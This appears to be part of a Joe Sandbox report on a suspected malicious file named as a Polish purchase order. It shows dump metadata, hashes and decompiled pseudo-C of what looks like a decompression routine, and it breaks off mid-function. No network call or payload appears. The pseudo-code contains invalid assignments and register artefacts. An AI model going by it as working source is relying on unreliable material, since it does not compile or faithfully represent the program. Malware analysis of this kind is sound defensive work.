                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x00406a2c
                                                                                              0x004069b3
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x00406705

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 83d4d9fa97144311a3e66a470cde7927608ab55fe6dc8c436fded4a10c430ead
                                                                                              • Instruction ID: 2ec41c1936be718984cf19d05ce660ecedc56656b80368bbb2ce29215557a5c8
                                                                                              • Opcode Fuzzy Hash: 83d4d9fa97144311a3e66a470cde7927608ab55fe6dc8c436fded4a10c430ead
                                                                                              • Instruction Fuzzy Hash: 53712571E04228CBDF28CF98C854BADBBB1FB44305F15816ED856BB281C7785996DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040664D Relevance: 5.2, APIs: 4, Instructions: 168COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E0040664D() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406BE7))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
